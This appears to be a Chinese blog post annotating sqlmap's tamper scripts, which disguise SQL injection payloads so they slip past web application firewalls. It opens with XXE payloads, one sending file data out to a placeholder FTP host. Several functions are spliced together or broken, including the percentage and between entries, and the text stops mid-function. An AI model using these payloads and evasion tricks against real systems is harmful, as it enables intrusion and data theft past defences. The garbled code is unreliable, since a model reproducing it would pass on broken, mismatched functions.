<!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://x.x.x.x:2121/%d;'>">

Inside SOAP body

1
<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>

Untested - WAF Bypass

1
2
3
<!DOCTYPE :. SYTEM "http://"
<!DOCTYPE :_-_: SYTEM "http://"
<!DOCTYPE {0xdfbf} SYSTEM "http://"

sqlmap 的tamper解读

发布时间:January 23, 2016 // 分类:运维工作,linux,windows,python // 1 Comment

下雪了,堵在路上,无聊看了下sqlmap下的tamper。然后做了笔记
https://github.com/sqlmapproject/sqlmap/tree/master/tamper
1.apostrophemask  把'使用%EF%BC%87进行替换【类似款字节】
def tamper(payload, **kwargs):
    """
    Replaces apostrophe character with its UTF-8 full width counterpart

    References:
        * http://www.utf8-chartable.de/unicode-utf8-table.pl?start=65280&number=128
        * http://lukasz.pilorz.net/testy/unicode_conversion/
        * http://sla.ckers.org/forum/read.php?13,11562,11850
        * http://lukasz.pilorz.net/testy/full_width_utf/index.phps

    >>> tamper("1 AND '1'='1")
    '1 AND %EF%BC%871%EF%BC%87=%EF%BC%871'
    """

    return payload.replace('\'', "%EF%BC%87") if payload else payload
2.apostrophenullencode 将‘使用%00%27进行替换。中间增加%00
def tamper(payload, **kwargs):
    """
    Replaces apostrophe character with its illegal double unicode counterpart

    >>> tamper("1 AND '1'='1")
    '1 AND %00%271%00%27=%00%271'
    """

    return payload.replace('\'', "%00%27") if payload else payload

3.appendnullbyte 主要表现为在每行的最后增加一个%00

def tamper(payload, **kwargs):
    """
    Appends encoded NULL byte character at the end of payload

    Requirement:
        * Microsoft Access

    Notes:
        * Useful to bypass weak web application firewalls when the back-end
          database management system is Microsoft Access - further uses are
          also possible

    Reference: http://projects.webappsec.org/w/page/13246949/Null-Byte-Injection

    >>> tamper('1 AND 1=1')
    '1 AND 1=1%00'
    """

    return "%s%%00" % payload if payload else payload

4.base64encode 主要对当前的url进行base64编码达到传递的目的(针对使用bas6e传输的)

def tamper(payload, **kwargs):
    """
    Base64 all characters in a given payload

    >>> tamper("1' AND SLEEP(5)#")
    'MScgQU5EIFNMRUVQKDUpIw=='
    """
5.between 主要是替换一些使用 > = < 进行匹配的时候使用between来进行替换

def tamper(payload, **kwargs):
    """
    Replaces greater than operator ('>') with 'NOT BETWEEN 0 AND #'
    Replaces equals operator ('=') with 'BETWEEN # AND #'

    Tested against:
        * Microsoft SQL Server 2005
        * MySQL 4, 5.0 and 5.5
        * Oracle 10g
        * PostgreSQL 8.3, 8.4, 9.0

    Notes:
        * Useful to bypass weak and bespoke web application firewalls that
          filter the greater than character
        * The BETWEEN clause is SQL standard. Hence, this tamper script
          should work against all (?) databases

    >>> tamper('1 AND A > B--')
    '1 AND A NOT BETWEEN 0 AND B--'
    >>> tamper('1 AND A = B--')
    '1 AND A BETWEEN B AND B--'
    """

    retVal = payload

    if payload:
        match = re.search(r"(?i)(\b(AND|OR)\b\s+)(?!.*\b(AND|OR)\b)([^>]+?)\s*>\s*([^>]+)\s*\Z", payload)

        if match:
            _ = "%s %s NOT BETWEEN 0 AND %s" % (match.group(2), match.group(4), match.group(5))
            retVal = retVal.replace(match.group(0), _)
        else:
            retVal = re.sub(r"\s*>\s*(\d+|'[^']+'|\w+\(\d+\))", " NOT BETWEEN 0 AND \g<1>", payload)

        if retVal == payload:
            match = re.search(r"(?i)(\b(AND|OR)\b\s+)(?!.*\b(AND|OR)\b)([^=]+?)\s*=\s*(\w+)\s*", payload)

            if match:
                _ = "%s %s BETWEEN %s AND %s" % (match.group(2), match.group(4), match.group(5), match.group(5))
                retVal = retVal.replace(match.group(0), _)

    return retVal
    return base64.b64encode(payload.encode(UNICODE_ENCODING)) if payload else payload

6.bluecoat 针对mysql的编码,再每个空格前使用%09来达到编码的目的

def tamper(payload, **kwargs):
    """
    Replaces space character after SQL statement with a valid random blank character.
    Afterwards replace character = with LIKE operator

    Requirement:
        * Blue Coat SGOS with WAF activated as documented in
        https://kb.bluecoat.com/index?page=content&id=FAQ2147

    Tested against:
        * MySQL 5.1, SGOS

    Notes:
        * Useful to bypass Blue Coat's recommended WAF rule configuration

    >>> tamper('SELECT id FROM users WHERE id = 1')
    'SELECT%09id FROM%09users WHERE%09id LIKE 1'
    """

    def process(match):
        word = match.group('word')
        if word.upper() in kb.keywords:
            return match.group().replace(word, "%s%%09" % word)
        else:
            return match.group()

    retVal = payload

    if payload:
        retVal = re.sub(r"\b(?P<word>[A-Z_]+)(?=[^\w(]|\Z)", lambda match: process(match), retVal)
        retVal = re.sub(r"\s*=\s*", " LIKE ", retVal)
        retVal = retVal.replace("%09 ", "%09")

    return retVal

7.chardoubleencode 对整个进行二次URL编码

def tamper(payload, **kwargs):
    """
    Double url-encodes all characters in a given payload (not processing
    already encoded)

    Notes:
        * Useful to bypass some weak web application firewalls that do not
          double url-decode the request before processing it through their
          ruleset

    >>> tamper('SELECT FIELD FROM%20TABLE')
    '%2553%2545%254C%2545%2543%2554%2520%2546%2549%2545%254C%2544%2520%2546%2552%254F%254D%2520%2554%2541%2542%254C%2545'
    """

    retVal = payload

    if payload:
        retVal = ""
        i = 0

        while i < len(payload):
            if payload[i] == '%' and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits:
                retVal += '%%25%s' % payload[i + 1:i + 3]
                i += 3
            else:
                retVal += '%%25%.2X' % ord(payload[i])
                i += 1

    return retVal

8.charencode  对整个进行一次URL编码

def tamper(payload, **kwargs):
    """
    Url-encodes all characters in a given payload (not processing already
    encoded)

    Tested against:
        * Microsoft SQL Server 2005
        * MySQL 4, 5.0 and 5.5
        * Oracle 10g
        * PostgreSQL 8.3, 8.4, 9.0

    Notes:
        * Useful to bypass very weak web application firewalls that do not
          url-decode the request before processing it through their ruleset
        * The web server will anyway pass the url-decoded version behind,
          hence it should work against any DBMS

    >>> tamper('SELECT FIELD FROM%20TABLE')
    '%53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45'
    """

    retVal = payload

    if payload:
        retVal = ""
        i = 0

        while i < len(payload):
            if payload[i] == '%' and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits:
                retVal += payload[i:i + 3]
                i += 3
            else:
                retVal += '%%%.2X' % ord(payload[i])
                i += 1

    return retVal

9.charunicodeencode  对整个进行Unicode编码(也就是S转换为%u0053)【主要体现在asp asp.net上】

def tamper(payload, **kwargs):
    """
    Unicode-url-encodes non-encoded characters in a given payload (not
    processing already encoded)

    Requirement:
        * ASP
        * ASP.NET

    Tested against:
        * Microsoft SQL Server 2000
        * Microsoft SQL Server 2005
        * MySQL 5.1.56
        * PostgreSQL 9.0.3

    Notes:
        * Useful to bypass weak web application firewalls that do not
          unicode url-decode the request before processing it through their
          ruleset

    >>> tamper('SELECT FIELD%20FROM TABLE')
    '%u0053%u0045%u004C%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004C%u0044%u0020%u0046%u0052%u004F%u004D%u0020%u0054%u0041%u0042%u004C%u0045'
    """

    retVal = payload

    if payload:
        retVal = ""
        i = 0

        while i < len(payload):
            if payload[i] == '%' and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits:
                retVal += "%%u00%s" % payload[i + 1:i + 3]
                i += 3
            else:
                retVal += '%%u%.4X' % ord(payload[i])
                i += 1

    return retVal


10.concat2concatws 主要是作用于把CONCAT(A, B)替换为CONCAT_WS(MID(CHAR(0), 0, 0), A, B)

def tamper(payload, **kwargs):
    """
    Replaces instances like 'CONCAT(A, B)' with 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'

    Requirement:
        * MySQL

    Tested against:
        * MySQL 5.0

    Notes:
        * Useful to bypass very weak and bespoke web application firewalls
          that filter the CONCAT() function

    >>> tamper('CONCAT(1,2)')
    'CONCAT_WS(MID(CHAR(0),0,0),1,2)'
    """

    if payload:
        payload = payload.replace("CONCAT(", "CONCAT_WS(MID(CHAR(0),0,0),")

    return payload

11.equaltolike 把等于使用like进行替换

def tamper(payload, **kwargs):
    """
    Replaces all occurances of operator equal ('=') with operator 'LIKE'

    Tested against:
        * Microsoft SQL Server 2005
        * MySQL 4, 5.0 and 5.5

    Notes:
        * Useful to bypass weak and bespoke web application firewalls that
          filter the equal character ('=')
        * The LIKE operator is SQL standard. Hence, this tamper script
          should work against all (?) databases

    >>> tamper('SELECT * FROM users WHERE id=1')
    'SELECT * FROM users WHERE id LIKE 1'
    """

    retVal = payload

    if payload:
        retVal = re.sub(r"\s*=\s*", " LIKE ", retVal)

    return retVal

12.greatest  主要的作用是把A>B使用GREATEST(A,B+1)=A进行替换

def tamper(payload, **kwargs):
    """
    Replaces greater than operator ('>') with 'GREATEST' counterpart

    Tested against:
        * MySQL 4, 5.0 and 5.5
        * Oracle 10g
        * PostgreSQL 8.3, 8.4, 9.0

    Notes:
        * Useful to bypass weak and bespoke web application firewalls that
          filter the greater than character
        * The GREATEST clause is a widespread SQL command. Hence, this
          tamper script should work against majority of databases

    >>> tamper('1 AND A > B')
    '1 AND GREATEST(A,B+1)=A'
    """

    retVal = payload

    if payload:
        match = re.search(r"(?i)(\b(AND|OR)\b\s+)(?!.*\b(AND|OR)\b)([^>]+?)\s*>\s*([^>#-]+)", payload)

        if match:
            _ = "%sGREATEST(%s,%s+1)=%s" % (match.group(1), match.group(4), match.group(5), match.group(4))
            retVal = retVal.replace(match.group(0), _)

    return retVal

13.halfversionedmorekeywords 使用/*!0替换空格

def tamper(payload, **kwargs):
    """
    Adds versioned MySQL comment before each keyword

    Requirement:
        * MySQL < 5.1

    Tested against:
        * MySQL 4.0.18, 5.0.22

    Notes:
        * Useful to bypass several web application firewalls when the
          back-end database management system is MySQL
        * Used during the ModSecurity SQL injection challenge,
          http://modsecurity.org/demo/challenge.html

    >>> tamper("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa")
    "value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa"
    """

    def process(match):
        word = match.group('word')
        if word.upper() in kb.keywords and word.upper() not in IGNORE_SPACE_AFFECTED_KEYWORDS:
            return match.group().replace(word, "/*!0%s" % word)
        else:
            return match.group()

    retVal = payload

    if payload:
        retVal = re.sub(r"(?<=\W)(?P<word>[A-Za-z_]+)(?=\W|\Z)", lambda match: process(match), retVal)
        retVal = retVal.replace(" /*!0", "/*!0")

    return retVal

14.lowercase  主要是把大写转换为小写

def tamper(payload, **kwargs):
    """
    Replaces each keyword character with lower case value

    Tested against:
        * Microsoft SQL Server 2005
        * MySQL 4, 5.0 and 5.5
        * Oracle 10g
        * PostgreSQL 8.3, 8.4, 9.0

    Notes:
        * Useful to bypass very weak and bespoke web application firewalls
          that has poorly written permissive regular expressions
        * This tamper script should work against all (?) databases

    >>> tamper('INSERT')
    'insert'
    """

    retVal = payload

    if payload:
        for match in re.finditer(r"[A-Za-z_]+", retVal):
            word = match.group()

            if word.upper() in kb.keywords:
                retVal = retVal.replace(word, word.lower())

    return retVal

15.modsecurityversioned 在两个变量之间加上 /*!30%*/" 类似于1 AND 2>1-- 转为 1 /*!30874AND 2>1*/--

def tamper(payload, **kwargs):
    """
    Embraces complete query with versioned comment

    Requirement:
        * MySQL

    Tested against:
        * MySQL 5.0

    Notes:
        * Useful to bypass ModSecurity WAF/IDS

    >>> import random
    >>> random.seed(0)
    >>> tamper('1 AND 2>1--')
    '1 /*!30874AND 2>1*/--'
    """

    retVal = payload

    if payload:
        postfix = ''
        for comment in ('#', '--', '/*'):
            if comment in payload:
                postfix = payload[payload.find(comment):]
                payload = payload[:payload.find(comment)]
                break
        if ' ' in payload:
            retVal = "%s /*!30%s%s*/%s" % (payload[:payload.find(' ')], randomInt(3), payload[payload.find(' ') + 1:], postfix)

    return retVal

16.modsecurityzeroversioned 在两个变量之间加上 /*!00000 类似于1 AND 2>1-- 转为 1 /*!00000AND 2>1*/--

def tamper(payload, **kwargs):
    """
    Embraces complete query with zero-versioned comment

    Requirement:
        * MySQL

    Tested against:
        * MySQL 5.0

    Notes:
        * Useful to bypass ModSecurity WAF/IDS

    >>> tamper('1 AND 2>1--')
    '1 /*!00000AND 2>1*/--'
    """

    retVal = payload

    if payload:
        postfix = ''
        for comment in ('#', '--', '/*'):
            if comment in payload:
                postfix = payload[payload.find(comment):]
                payload = payload[:payload.find(comment)]
                break
        if ' ' in payload:
            retVal = "%s /*!00000%s*/%s" % (payload[:payload.find(' ')], payload[payload.find(' ') + 1:], postfix)

    return retVal


17.multiplespaces 增加空格的个数。类似把一个空格使用4个空格(或者TAB)替换

def tamper(payload, **kwargs):
    """
    Adds multiple spaces around SQL keywords

    Notes:
        * Useful to bypass very weak and bespoke web application firewalls
          that has poorly written permissive regular expressions

    Reference: https://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt

    >>> random.seed(0)
    >>> tamper('1 UNION SELECT foobar')
    '1    UNION     SELECT   foobar'
    """

    retVal = payload

    if payload:
        words = set()

        for match in re.finditer(r"[A-Za-z_]+", payload):
            word = match.group()

            if word.upper() in kb.keywords:
                words.add(word)

        for word in words:
            retVal = re.sub("(?<=\W)%s(?=[^A-Za-z_(]|\Z)" % word, "%s%s%s" % (' ' * random.randrange(1, 4), word, ' ' * random.randrange(1, 4)), retVal)
            retVal = re.sub("(?<=\W)%s(?=[(])" % word, "%s%s" % (' ' * random.randrange(1, 4), word), retVal)

    return retVal

18.nonrecursivereplacement 主要是在("UNION", "SELECT", "INSERT", "UPDATE", "FROM", "WHERE")中间继续填充一个关键词。
    把UNION SELECT转换为UNIOUNIONN SELESELECTCT

def tamper(payload, **kwargs):
    """
    Replaces predefined SQL keywords with representations
    suitable for replacement (e.g. .replace("SELECT", "")) filters

    Notes:
        * Useful to bypass very weak custom filters

    >>> random.seed(0)
    >>> tamper('1 UNION SELECT 2--')
    '1 UNIOUNIONN SELESELECTCT 2--'
    """

    keywords = ("UNION", "SELECT", "INSERT", "UPDATE", "FROM", "WHERE")
    retVal = payload

    warnMsg = "currently only couple of keywords are being processed %s. " % str(keywords)
    warnMsg += "You can set it manually according to your needs"
    singleTimeWarnMessage(warnMsg)

    if payload:
        for keyword in keywords:
            _ = random.randint(1, len(keyword) - 1)
            retVal = re.sub(r"(?i)\b%s\b" % keyword, "%s%s%s" % (keyword[:_], keyword, keyword[_:]), retVal)

    return retVal

19.overlongutf8 主要为使用%C0%AA替换空格

def tamper(payload, **kwargs):
    """
    Converts all characters in a given payload (not processing already
    encoded)

    Reference: https://www.acunetix.com/vulnerabilities/unicode-transformation-issues/

    >>> tamper('SELECT FIELD FROM TABLE WHERE 2>1')
    'SELECT FIELD%C0%AAFROM%C0%AATABLE%C0%AAWHERE%C0%AA2%C0%BE1'
    """

    retVal = payload

    if payload: 
        retVal = ""
        i = 0

        while i < len(payload):
            if payload[i] == '%' and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits:
                retVal += payload[i:i + 3]
                i += 3
            else:
                if payload[i] not in (string.ascii_letters + string.digits):
                    retVal += "%%C0%%%.2X" % (0x8A | ord(payload[i]))
                else:
                    retVal += payload[i]
                i += 1

    return retVal

20.percentage  主要是使用%分割关键词类似于把SELECT 转换为%S%E%L%E%C%T

def tamper(payload, **kwargs):
    """
    Adds a percentage sign ('%') infront of each character

    Requirement:
        * ASP

    Tested against:
        * Microsoft SQL Server 2000, 2005
        * MySQL 5.1.56, 5.5.11
        * PostgreSQL 9.0

    Notes:
def tamper(payload, **kwargs):
    """
    Replaces each keyword character with random case value

    Tested against:
        * Microsoft SQL Server 2005
        * MySQL 4, 5.0 and 5.5
        * Oracle 10g
        * PostgreSQL 8.3, 8.4, 9.0

    Notes:
        * Useful to bypass very weak and bespoke web application firewalls
          that has poorly written permissive regular expressions
        * This tamper script should work against all (?) databases

    >>> import random
    >>> random.seed(0)
    >>> tamper('INSERT')
    'INseRt'
    """

    retVal = payload

    if payload:
        for match in re.finditer(r"[A-Za-z_]+", retVal):
            word = match.group()

            if word.upper() in kb.keywords:
                while True:
                    _ = ""

                    for i in xrange(len(word)):
                        _ += word[i].upper() if randomRange(0, 1) else word[i].lower()

                    if len(_) > 1 and _ not in (_.lower(), _.upper()):
                        break

                retVal = retVal.replace(word, _)

    return retVal        * Useful to bypass weak and bespoke web application firewalls

    >>> tamper('SELECT FIELD FROM TABLE')
    '%S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E'
    """

    if payload:
        retVal = ""
        i = 0

        while i < len(payload):
            if payload[i] == '%' and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits:
                retVal += payload[i:i + 3]
                i += 3
            elif 
            payload[i] != ' ':
                retVal += '%%%s' % payload[i]
                i += 1
            else:
                retVal += payload[i]
                i += 1

    return retVal

21.randomcase 随机转换大小写。类似于INSERT转换为INseRt

def tamper(payload, **kwargs):
    """
    Replaces each keyword character with random case value

    Tested against:
        * Microsoft SQL Server 2005
        * MySQL 4, 5.0 and 5.5
        * Oracle 10g
        * PostgreSQL 8.3, 8.4, 9.0

    Notes:
        * Useful to bypass very weak and bespoke web application firewalls
          that has poorly written permissive regular expressions
        * This tamper script should work against all (?) databases

    >>> import random
    >>> random.seed(0)
    >>> tamper('INSERT')
    'INseRt'
    """

    retVal = payload

    if payload:
        for match in re.finditer(r"[A-Za-z_]+", retVal):
            word = match.group()

            if word.upper() in kb.keywords:
                while True:
                    _ = ""

                    for i in xrange(len(word)):
                        _ += word[i].upper() if randomRange(0, 1) else word[i].lower()

                    if len(_) > 1 and _ not in (_.lower(), _.upper()):
                        break

                retVal = retVal.replace(word, _)

    return retVal

22.randomcomments 随机在关键词间插入/**/.类似INSERT转换为I/**/N/**/SERT

def tamper(payload, **kwargs):
    """
    Add random comments to SQL keywords

    >>> import random
    >>> random.seed(0)
    >>> tamper('INSERT')
    'I/**/N/**/SERT'
    """

    retVal = payload

    if payload:
        for match in re.finditer(r"\b[A-Za-z_]+\b", payload):
            word = match.group()

            if len(word) < 2:
                continue

            if word.upper() in kb.keywords:
                _ = word[0]

                for i in xrange(1, len(word) - 1):
                    _ += "%s%s" % ("/**/" if randomRange(0, 1) else "", word[i])

                _ += word[-1]

                if "/**/" not in _:
                    index = randomRange(1, len(word) - 1)
                    _ = word[:index] + "/**/" + word[index:]

                retVal = retVal.replace(word, _)

    return retVal

23.securesphere 再末尾增加and '0having'='0having


def tamper(payload, **kwargs):
    """
    Appends special crafted string

    Notes:
        * Useful for bypassing Imperva SecureSphere WAF
        * Reference: http://seclists.org/fulldisclosure/2011/May/163

    >>> tamper('1 AND 1=1')
    "1 AND 1=1 and '0having'='0having'"
    """

    return payload + " and '0having'='0having'" if payload else payload

24.sp_password 针对MSSQL的一种办法。在--后面增加sp_password

def tamper(payload, **kwargs):
    """
    Appends 'sp_password' to the end of the payload for automatic obfuscation from DBMS logs

    Requirement:
        * MSSQL

    Notes:
        * Appending sp_password to the end of the query will hide it from T-SQL logs as a security measure
        * Reference: http://websec.ca/kb/sql_injection

    >>> tamper('1 AND 9227=9227-- ')
    '1 AND 9227=9227-- sp_password'
    """

    retVal = ""

    if payload:
        retVal = "%s%ssp_password" % (payload, "-- " if not any(_ if _ in payload else None for _ in ('#', "-- ")) else "")

    return retVal

25.space2comment 使用/**/替换空格

def tamper(payload, **kwargs):
    """
    Replaces space character (' ') with comments '/**/'

    Tested against:
        * Microsoft SQL Server 2005
        * MySQL 4, 5.0 and 5.5
        * Oracle 10g
        * PostgreSQL 8.3, 8.4, 9.0

    Notes:
        * Useful to bypass weak and bespoke web application firewalls

    >>> tamper('SELECT id FROM users')
    'SELECT/**/id/**/FROM/**/users'
    """

    retVal = payload

    if payload:
        retVal = ""
        quote, doublequote, firstspace = False, False, False

        for i in xrange(len(payload)):
            if not firstspace:
                if payload[i].isspace():
                    firstspace = True
                    retVal += "/**/"
                    continue

            elif payload[i] == '\'':
                quote = not quote

            elif payload[i] == '"':
                doublequote = not doublequote

            elif payload[i] == " " and not doublequote and not quote:
                retVal += "/**/"
                continue

            retVal += payload[i]

    return retVal

26.space2dash  使用--(rand)%0A替换掉空格

def tamper(payload, **kwargs):
    """
    Replaces space character (' ') with a dash comment ('--') followed by
    a random string and a new line ('\n')

    Requirement:
        * MSSQL
        * SQLite

    Notes:
        * Useful to bypass several web application firewalls
        * Used during the ZeroNights SQL injection challenge,
          https://proton.onsec.ru/contest/

    >>> random.seed(0)
    >>> tamper('1 AND 9227=9227')
    '1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227'
    """

    retVal = ""

    if payload:
        for i in xrange(len(payload)):
            if payload[i].isspace():
                randomStr = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in xrange(random.randint(6, 12)))
                retVal += "--%s%%0A" % randomStr
            elif payload[i] == '#' or payload[i:i + 3] == '-- ':
                retVal += payload[i:]
                break
            else:
                retVal += payload[i]

    return retVal

27.space2hash  使用%23(rand)%0A来替换空格

def tamper(payload, **kwargs):
    """
    Replaces space character (' ') with a pound character ('#') followed by
    a random string and a new line ('\n')

    Requirement:
        * MySQL

    Tested against:
        * MySQL 4.0, 5.0

    Notes:
        * Useful to bypass several web application firewalls
        * Used during the ModSecurity SQL injection challenge,
          http://modsecurity.org/demo/challenge.html

    >>> random.seed(0)
    >>> tamper('1 AND 9227=9227')
    '1%23nVNaVoPYeva%0AAND%23ngNvzqu%0A9227=9227'
    """

    retVal = ""

    if payload:
        for i in xrange(len(payload)):
            if payload[i].isspace():
                randomStr = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in xrange(random.randint(6, 12)))
                retVal += "%%23%s%%0A" % randomStr
            elif payload[i] == '#' or payload[i:i + 3] == '-- ':
                retVal += payload[i:]
                break
            else:
                retVal += payload[i]

    return retVal

28.space2morehash  使用多个%23(rand)%0A来替换空格
def tamper(payload, **kwargs):
    """
    Replaces space character (' ') with a pound character ('#') followed by
    a random string and a new line ('\n')

    Requirement:
        * MySQL >= 5.1.13

    Tested against:
        * MySQL 5.1.41

    Notes:
        * Useful to bypass several web application firewalls
        * Used during the ModSecurity SQL injection challenge,
          http://modsecurity.org/demo/challenge.html

    >>> random.seed(0)
    >>> tamper('1 AND 9227=9227')
    '1%23ngNvzqu%0AAND%23nVNaVoPYeva%0A%23lujYFWfv%0A9227=9227'
    """

    def process(match):
        word = match.group('word')
        randomStr = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in xrange(random.randint(6, 12)))

        if word.upper() in kb.keywords and word.upper() not in IGNORE_SPACE_AFFECTED_KEYWORDS:
            return match.group().replace(word, "%s%%23%s%%0A" % (word, randomStr))
        else:
            return match.group()

    retVal = ""

    if payload:
        payload = re.sub(r"(?<=\W)(?P<word>[A-Za-z_]+)(?=\W|\Z)", lambda match: process(match), payload)

        for i in xrange(len(payload)):
            if payload[i].isspace():
                randomStr = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in xrange(random.randint(6, 12)))
                retVal += "%%23%s%%0A" % randomStr
            elif payload[i] == '#' or payload[i:i + 3] == '-- ':
                retVal += payload[i:]
                break
            else:
                retVal += payload[i]

    return retVal

29.space2mssqlblank  针对MSSQL使用特定的字符替换空格
    特定的字符('%01', '%02', '%03', '%04', '%05', '%06', '%07', '%08', '%09', '%0B', '%0C', '%0D', '%0E', '%0F', '%0A')
def tamper(payload, **kwargs):
    """
    Replaces space character (' ') with a random blank character from a
    valid set of alternate characters

    Requirement:
        * Microsoft SQL Server

    Tested against:
        * Microsoft SQL Server 2000
        * Microsoft SQL Server 2005

    Notes:
        * Useful to bypass several web application firewalls

    >>> random.seed(0)
    >>> tamper('SELECT id FROM users')
    'SELECT%0Eid%0DFROM%07users'
    """

    # ASCII table:
    #   SOH     01      start of heading
    #   STX     02      start of text
    #   ETX     03      end of text
    #   EOT     04      end of transmission
    #   ENQ     05      enquiry
    #   ACK     06      acknowledge
    #   BEL     07      bell
    #   BS      08      backspace
    #   TAB     09      horizontal tab
    #   LF      0A      new line
    #   VT      0B      vertical TAB
    #   FF      0C      new page
    #   CR      0D      carriage return
    #   SO      0E      shift out
    #   SI      0F      shift in
    blanks = ('%01', '%02', '%03', '%04', '%05', '%06', '%07', '%08', '%09', '%0B', '%0C', '%0D', '%0E', '%0F', '%0A')
    retVal = payload

    if payload:
        retVal = ""
        quote, doublequote, firstspace, end = False, False, False, False

        for i in xrange(len(payload)):
            if not firstspace:
                if payload[i].isspace():
                    firstspace = True
                    retVal += random.choice(blanks)
                    continue

            elif payload[i] == '\'':
                quote = not quote

            elif payload[i] == '"':
                doublequote = not doublequote

            elif payload[i] == '#' or payload[i:i + 3] == '-- ':
                end = True

            elif payload[i] == " " and not doublequote and not quote:
                if end:
                    retVal += random.choice(blanks[:-1])
                else:
                    retVal += random.choice(blanks)

                continue

            retVal += payload[i]

    return retVal

30.space2mssqlhash  使用%23%0A来替换空格

def tamper(payload, **kwargs):
    """
    Replaces space character (' ') with a pound character ('#') followed by
    a new line ('\n')

    Requirement:
        * MSSQL
        * MySQL

    Notes:
        * Useful to bypass several web application firewalls

    >>> tamper('1 AND 9227=9227')
    '1%23%0AAND%23%0A9227=9227'
    """

    retVal = ""

    if payload:
        for i in xrange(len(payload)):
            if payload[i].isspace():
                retVal += "%23%0A"
            elif payload[i] == '#' or payload[i:i + 3] == '-- ':
                retVal += payload[i:]
                break
            else:
                retVal += payload[i]

    return retVal
31.space2mysqlblank  针对MYSQL使用特定的字符来替换空格
    特定的字符('%09', '%0A', '%0C', '%0D', '%0B')
def tamper(payload, **kwargs):
    """
    Replaces space character (' ') with a random blank character from a
    valid set of alternate characters

    Requirement:
        * MySQL

    Tested against:
        * MySQL 5.1

    Notes:
        * Useful to bypass several web application firewalls

    >>> random.seed(0)
    >>> tamper('SELECT id FROM users')
    'SELECT%0Bid%0DFROM%0Cusers'
    """

    # ASCII table:
    #   TAB     09      horizontal TAB
    #   LF      0A      new line
    #   FF      0C      new page
    #   CR      0D      carriage return
    #   VT      0B      vertical TAB        (MySQL and Microsoft SQL Server only)
    blanks = ('%09', '%0A', '%0C', '%0D', '%0B')
    retVal = payload

    if payload:
        retVal = ""
        quote, doublequote, firstspace = False, False, False

        for i in xrange(len(payload)):
            if not firstspace:
                if payload[i].isspace():
                    firstspace = True
                    retVal += random.choice(blanks)
                    continue

            elif payload[i] == '\'':
                quote = not quote

            elif payload[i] == '"':
                doublequote = not doublequote

            elif payload[i] == " " and not doublequote and not quote:
                retVal += random.choice(blanks)
                continue

            retVal += payload[i]

    return retVal

32.space2mysqldash 针对MYSQL使用--%0A来替换空格

def tamper(payload, **kwargs):
    """
    Replaces space character (' ') with a dash comment ('--') followed by
    a new line ('\n')

    Requirement:
        * MySQL
        * MSSQL

    Tested against:

    Notes:
        * Useful to bypass several web application firewalls.

    >>> tamper('1 AND 9227=9227')
    '1--%0AAND--%0A9227=9227'
    """

    retVal = ""

    if payload:
        for i in xrange(len(payload)):
            if payload[i].isspace():
                retVal += "--%0A"
            elif payload[i] == '#' or payload[i:i + 3] == '-- ':
                retVal += payload[i:]
                break
            else:
                retVal += payload[i]

    return retVal

33.space2plus  主要用于使用+替换空格符

def tamper(payload, **kwargs):
    """
    Replaces space character (' ') with plus ('+')
    Notes:
        * Is this any useful? The plus get's url-encoded by sqlmap engine
          invalidating the query afterwards
        * This tamper script works against all databases
    >>> tamper('SELECT id FROM users')
    'SELECT+id+FROM+users'
    """
    retVal = payload
    if payload:
        retVal = ""
        quote, doublequote, firstspace = False, False, False
        for i in xrange(len(payload)):
            if not firstspace:
                if payload[i].isspace():
                    firstspace = True
                    retVal += "+"
                    continue
            elif payload[i] == '\'':
                quote = not quote
            elif payload[i] == '"':
                doublequote = not doublequote
            elif payload[i] == " " and not doublequote and not quote:
                retVal += "+"
                continue
            retVal += payload[i]
    return retVal

34.space2randomblank主要用"%09", "%0A", "%0C", "%0D"替换注入中的空格

def tamper(payload, **kwargs):
    """
    Replaces space character (' ') with a random blank character from a
    valid set of alternate characters
    Tested against:
        * Microsoft SQL Server 2005
        * MySQL 4, 5.0 and 5.5
        * Oracle 10g
        * PostgreSQL 8.3, 8.4, 9.0
    Notes:
        * Useful to bypass several web application firewalls
    >>> random.seed(0)
    >>> tamper('SELECT id FROM users')
    'SELECT%0Did%0DFROM%0Ausers'
    """
    # ASCII table:
    #   TAB     09      horizontal TAB
    #   LF      0A      new line
    #   FF      0C      new page
    #   CR      0D      carriage return
    blanks = ("%09", "%0A", "%0C", "%0D")
    retVal = payload
    if payload:
        retVal = ""
        quote, doublequote, firstspace = False, False, False
        for i in xrange(len(payload)):
            if not firstspace:
                if payload[i].isspace():
                    firstspace = True
                    retVal += random.choice(blanks)
                    continue
            elif payload[i] == '\'':
                quote = not quote
            elif payload[i] == '"':
                doublequote = not doublequote
            elif payload[i] == ' ' and not doublequote and not quote:
                retVal += random.choice(blanks)
                continue
            retVal += payload[i]
    return retVal

35.symboliclogical  该插件主要是在and被过来后使用&& 以及||

def tamper(payload, **kwargs):
    """
